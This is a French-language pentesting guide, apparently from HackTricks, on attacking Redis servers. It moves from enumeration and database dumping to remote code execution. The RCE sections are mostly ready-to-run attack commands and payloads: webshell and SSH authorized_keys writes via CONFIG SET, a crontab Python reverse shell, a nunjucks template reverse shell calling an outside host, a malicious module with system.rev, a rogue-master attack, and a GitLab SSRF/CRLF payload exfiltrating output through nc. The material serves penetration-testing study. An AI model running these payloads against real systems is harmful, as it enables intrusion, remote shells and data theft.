# 6379 - Pentesting Redis {{#include ../banners/hacktricks-training.md}} ## Informations de base D'après [la documentation](https://redis.io/topics/introduction) : Redis est un **magasin de structures de données** en mémoire open source (licence BSD), utilisé comme **base de données**, cache et courtier de messages. Par défaut, Redis utilise un protocole basé sur du texte brut, mais vous devez garder à l'esprit qu'il peut également implémenter **ssl/tls**. Apprenez à [exécuter Redis avec ssl/tls ici](https://fossies.org/linux/redis/TLS.md). **Port par défaut :** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` ## Énumération Automatique Certains outils automatisés qui peuvent aider à obtenir des informations d'une instance redis : ```bash nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` ## Énumération Manuelle ### Bannière Redis est un **protocole basé sur du texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner avec **ssl/tls** (mais c'est très étrange). Dans une instance Redis régulière, vous pouvez simplement vous connecter en utilisant `nc` ou vous pouvez également utiliser `redis-cli`: ```bash nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` La **première commande** que vous pourriez essayer est **`info`**. Elle **peut renvoyer une sortie avec des informations** sur l'instance Redis **ou quelque chose** comme ce qui suit est renvoyé : ``` -NOAUTH Authentication required. ``` Dans ce dernier cas, cela signifie que **vous avez besoin de credentials valides** pour accéder à l'instance Redis. ### Authentification Redis **Par défaut**, Redis peut être accessible **sans credentials**. Cependant, il peut être **configuré** pour ne supporter **que le mot de passe, ou le nom d'utilisateur + mot de passe**.\ Il est possible de **définir un mot de passe** dans le fichier _**redis.conf**_ avec le paramètre `requirepass` **ou temporairement** jusqu'à ce que le service redémarre en se connectant et en exécutant : `config set requirepass p@ss$12E45`.\ De plus, un **nom d'utilisateur** peut être configuré dans le paramètre `masteruser` à l'intérieur du fichier _**redis.conf**_. > [!NOTE] > Si seul le mot de passe est configuré, le nom d'utilisateur utilisé est "**default**".\ > De plus, notez qu'il n'y a **aucun moyen de trouver extérieurement** si Redis a été configuré avec seulement un mot de passe ou un nom d'utilisateur + mot de passe. Dans des cas comme celui-ci, vous devrez **trouver des credentials valides** pour interagir avec Redis, donc vous pourriez essayer de [**brute-force**](../generic-hacking/brute-force.md#redis) cela.\ **Dans le cas où vous avez trouvé des credentials valides, vous devez authentifier la session** après avoir établi la connexion avec la commande : ```bash AUTH ``` **Des identifiants valides** seront répondus par : `+OK` ### **Énumération authentifiée** Si le serveur Redis permet des **connexions anonymes** ou si vous avez obtenu des identifiants valides, vous pouvez initier le processus d'énumération pour le service en utilisant les **commandes** suivantes : ```bash INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ] ``` **D'autres commandes Redis** [**peuvent être trouvées ici**](https://redis.io/topics/data-types-intro) **et** [**ici**](https://lzone.de/cheat-sheet/Redis)**.** Notez que les **commandes Redis d'une instance peuvent être renommées** ou supprimées dans le fichier _redis.conf_. Par exemple, cette ligne supprimera la commande FLUSHDB : ``` rename-command FLUSHDB "" ``` Plus d'informations sur la configuration sécurisée d'un service Redis ici : [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) Vous pouvez également **surveiller en temps réel les commandes Redis** exécutées avec la commande **`monitor`** ou obtenir les **25 requêtes les plus lentes** avec **`slowlog get 25`** Trouvez plus d'informations intéressantes sur d'autres commandes Redis ici : [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **Dumping Database** Dans Redis, les **bases de données sont des numéros commençant à 0**. Vous pouvez vérifier si l'une d'elles est utilisée dans la sortie de la commande `info` dans le bloc "Keyspace" : ![](<../images/image (766).png>) Ou vous pouvez simplement obtenir tous les **keyspaces** (bases de données) avec : ``` INFO keyspace ``` Dans cet exemple, les **bases de données 0 et 1** sont utilisées. **La base de données 0 contient 4 clés et la base de données 1 en contient 1**. Par défaut, Redis utilisera la base de données 0. Pour effectuer un dump de la base de données 1, vous devez faire : ```bash SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET [ ... Get Key ... ] ``` En cas d'erreur suivante `-WRONGTYPE Operation against a key holding the wrong kind of value` lors de l'exécution de `GET `, c'est parce que la clé peut être autre chose qu'une chaîne ou un entier et nécessite un opérateur spécial pour l'afficher. Pour connaître le type de la clé, utilisez la commande `TYPE`, exemple ci-dessous pour les clés de liste et de hachage. ```bash TYPE [ ... Type of the Key ... ] LRANGE 0 -1 [ ... Get list items ... ] HGET [ ... Get hash item ... ] # If the type used is weird you can always do: DUMP ``` **Dump le base de données avec npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/) ## Redis RCE ### Shell interactive [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) peut automatiquement obtenir un shell interactif ou un shell inversé dans Redis(<=5.0.5). ``` ./redis-rogue-server.py --rhost --lhost ``` ### PHP Webshell Info de [**ici**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Vous devez connaître le **chemin** du **dossier du site Web** : ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "" OK 10.85.0.52:6379> save OK ``` Si l'exception d'accès au webshell se produit, vous pouvez vider la base de données après sauvegarde et réessayer, n'oubliez pas de restaurer la base de données. ### Template Webshell Comme dans la section précédente, vous pourriez également écraser un fichier de modèle html qui va être interprété par un moteur de template et obtenir un shell. Par exemple, en suivant [**ce rapport**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), vous pouvez voir que l'attaquant a injecté un **rev shell dans un html** interprété par le **moteur de template nunjucks :** ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}} ``` > [!WARNING] > Notez que **plusieurs moteurs de template mettent en cache** les templates en **mémoire**, donc même si vous les écrasez, le nouveau **ne sera pas exécuté**. Dans ces cas, soit le développeur a laissé le rechargement automatique actif, soit vous devez effectuer un DoS sur le service (et vous attendre à ce qu'il soit relancé automatiquement). ### SSH Exemple [d'ici](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) Veuillez noter que le résultat de **`config get dir`** peut être modifié après d'autres commandes d'exploitation manuelles. Il est conseillé de l'exécuter en premier juste après la connexion à Redis. Dans la sortie de **`config get dir`**, vous pourriez trouver le **dossier** de l'**utilisateur redis** (généralement _/var/lib/redis_ ou _/home/redis/.ssh_), et en sachant cela, vous savez où vous pouvez écrire le fichier `authenticated_users` pour accéder via ssh **avec l'utilisateur redis**. Si vous connaissez le dossier d'un autre utilisateur valide où vous avez des permissions d'écriture, vous pouvez également en abuser : 1. Générez une paire de clés ssh publique-privée sur votre pc : **`ssh-keygen -t rsa`** 2. Écrivez la clé publique dans un fichier : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. Importez le fichier dans redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. Enregistrez la clé publique dans le fichier **authorized_keys** sur le serveur redis : ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK ``` 5. Enfin, vous pouvez **ssh** au **serveur redis** avec la clé privée : **ssh -i id_rsa redis@10.85.0.52** **Cette technique est automatisée ici :** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) De plus, les utilisateurs système peuvent également être découverts en vérifiant avec `config set dir /home/USER`, et après confirmation, un nouveau `authorized_keys` peut être écrit dans `/home/USER/.ssh/authorized_keys`. Utilisez [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) pour bruteforcer cela avec une liste de mots d'utilisateurs et écraser `authorized_keys`. ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` L'exemple final est pour Ubuntu, pour **Centos**, la commande ci-dessus devrait être : `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` Cette méthode peut également être utilisée pour gagner des bitcoins :[yam](https://www.v2ex.com/t/286981#reply14) ### Charger le module Redis 1. En suivant les instructions de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), vous pouvez **compiler un module redis pour exécuter des commandes arbitraires**. 2. Ensuite, vous avez besoin d'un moyen pour **télécharger le module compilé**. 3. **Chargez le module téléchargé** à l'exécution avec `MODULE LOAD /path/to/mymodule.so`. 4. **Listez les modules chargés** pour vérifier qu'il a été correctement chargé : `MODULE LIST`. 5. **Exécutez** **des commandes** : ``` 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` 6. Déchargez le module quand vous le souhaitez : `MODULE UNLOAD mymodule`. ### Contournement du bac à sable LUA [**Ici**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html), vous pouvez voir que Redis utilise la commande **EVAL** pour exécuter **du code Lua en bac à sable**. Dans le post lié, vous pouvez voir **comment en abuser** en utilisant la fonction **dofile**, mais [apparemment](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), cela n'est plus possible. Quoi qu'il en soit, si vous pouvez **contourner le bac à sable Lua**, vous pourriez **exécuter des commandes arbitraires** sur le système. De plus, dans le même post, vous pouvez voir quelques **options pour provoquer un DoS**. Quelques **CVE pour échapper à LUA** : - [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### Module Maître-Esclave ​Le maître redis synchronise automatiquement toutes les opérations avec l'esclave redis, ce qui signifie que nous pouvons considérer la vulnérabilité redis comme un esclave redis, connecté au maître redis que nous contrôlons, puis nous pouvons entrer la commande dans notre propre redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` ## SSRF parlant à Redis Si vous pouvez envoyer une requête **en texte clair** **à Redis**, vous pouvez **communiquer avec lui** car Redis lira ligne par ligne la requête et répondra simplement par des erreurs aux lignes qu'il ne comprend pas : ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` Par conséquent, si vous trouvez une **vulnérabilité SSRF** sur un site web et que vous pouvez **contrôler** certains **en-têtes** (peut-être avec une vulnérabilité CRLF) ou des **paramètres POST**, vous serez en mesure d'envoyer des commandes arbitraires à Redis. ### Exemple : Gitlab SSRF + CRLF vers Shell Dans **Gitlab11.4.7**, une vulnérabilité **SSRF** et une vulnérabilité **CRLF** ont été découvertes. La vulnérabilité **SSRF** se trouvait dans la **fonctionnalité d'importation de projet depuis une URL** lors de la création d'un nouveau projet et permettait d'accéder à des IPs arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (cela accédera à 127.0.0.1), et la vulnérabilité **CRLF** a été exploitée simplement en **ajoutant des caractères %0D%0A** à l'**URL**. Par conséquent, il était possible de **profiter de ces vulnérabilités pour communiquer avec l'instance Redis** qui **gère les files d'attente** de **gitlab** et d'abuser de ces files d'attente pour **obtenir une exécution de code**. Le payload d'abus de la file d'attente Redis est : ``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` Et la requête **URL encode** **abusant de SSRF** et **CRLF** pour exécuter un `whoami` et renvoyer la sortie via `nc` est : ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` _Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où provient cette information), l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._ {{#include ../banners/hacktricks-training.md}}